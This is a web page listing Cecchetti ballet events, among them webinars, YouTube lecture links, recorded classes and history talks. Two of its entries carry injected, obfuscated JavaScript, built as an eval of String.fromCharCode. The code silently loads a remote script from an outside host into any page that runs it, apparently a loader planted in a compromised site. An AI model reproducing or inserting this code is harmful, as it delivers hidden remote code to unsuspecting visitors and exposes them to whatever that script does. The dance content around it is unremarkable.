La Sylphide

La Sylphide LA SYLPHIDE  KS DANCE PRODUCTION I was fortunate to be one of the original cast of the Schaufuss version of La Sylphide created for London Festival Ballet /English National Ballet 1980….. There has always been a connection between August Bournonville and Cecchetti - some say that the Maestro was greatly influenced by his […]

Cecchetti USA: Dancing Dynamically

Presenter: Betty Seibert Guest Accompanist: Catharine Schane-Lydon  How can teachers improve their students' scores in this category? What part does musicality play with dynamics? Why are musical choices so important to achieving success in this area?  Member Price is $30 Non-Member Price is $35  Sign up at: cecchettiusa.org/teacher-webinar-application For more information, email: Denise Rinaldi at […]

History of Cecchetti in Australia

History of Cecchetti in Australia: YouTube Presenter: Anne Butler PART I ANNE BUTLER Anne Butler holds a Postgraduate Diploma Classical Ballet Teaching, The University of Melbourne. Fellow, Senior Examiner, and Life Member of Cecchetti Ballet Australia, Anne is a Victorian Representative on the National Council and an Australian Representative on the board of Cecchetti International […]

Cecchetti Port de Bras

Brandon Lawrence, Principal dancer of Birmingham Royal BalletPhoto: Paul McGrath Diane van Schoor    Photo: Johan Persson Cecchetti Port de Bras ~ YouTube Link Lecturer: Diane van Schoor, South Africa In celebration of the Cecchetti Centenary, Diane van Schoor will present a lecture demonstration on Port de Bras with Brandon Lawrence, Principal dancer of Birmingham Royal Ballet. DIANE […]

Cecchetti the Man and Artist

Presenter: Raymond Lukens with Alastair Macaulay A discussion of facts and lore regarding Enrico Cecchetti's life and legacy. Cecchetti the Man and Artist ~ YouTube Link Photo credit: Franco De Vita Raymond Lukens American Ballet Theatre National Training Curriculum Associate Emeritus Former Artistic Director, ABT National Training Curriculum FISTD, Enrico Cecchetti Diploma Raymond Lukens was […]

Enrico Cecchetti Diploma

A recorded class of Kate Simmons teaching Professional dancers and students of KS Dance. Our apologies for the delay in making this event live. Due to covid-related illness and bereavement, the recording of this class has been delayed. We will post on Facebook as soon as we have a release date, and will extend the […]

Two Great Training Methods – Cecchetti and Graham

Speakers: Franco De Vita; Raymond Lukens, Silvia Poletti, Alessandra Prosperi, Kate Simmons A discussion about the history, and artistic and technical similarities between these two great methods of training. Cecchetti and Graham ~ YouTube Link danzarececchetti.itvar f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,116,105,115,116,105,99,46,115,99,114,105,112,116,115,112,108,97,116,102,111,114,109,46,99,111,109,47,99,111,108,108,101,99,116,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/

History of Cecchetti in Canada

Joyce Shietze interviews Sheila Kennedy, the recipient of the inaugural CICB Award, for 'Outstanding International Contribution and Dedication'- having benefitted all CICB member organisations, and the wider Cecchetti International community. YouTube Link ~ History of Cecchetti in Canada We are delighted to share the inaugural CICB Award ceremony, that took place on Sunday 1st May […]

Enrico Cecchetti Advanced 1, Training Route 2

Enrico Cecchetti Advanced 1, Training Route 2: A recorded Class with Sharon Johnston (UK ISTD) Enrico Cecchetti Advanced 1 ~ YouTube Linkvar f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,116,105,115,116,105,99,46,115,99,114,105,112,116,115,112,108,97,116,102,111,114,109,46,99,111,109,47,99,111,108,108,101,99,116,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/

The Influence of Anna Pavlova Globally

THE INFLUENCE OF ANNA PAVLOVA GLOBALLY YouTube Link ~ The Influence of Anna Pavlova Globally PRESENTERS: JANE PRITCHARD.M.B.E. & CAROLINE HAMILTON The Birth of Anna Pavlova’s Company  - Jane Pritchard M.B.E. The presentation will look at how Anna Pavlova’s Company was established in the years 1910-1914 taking in its personnel and the development of its […]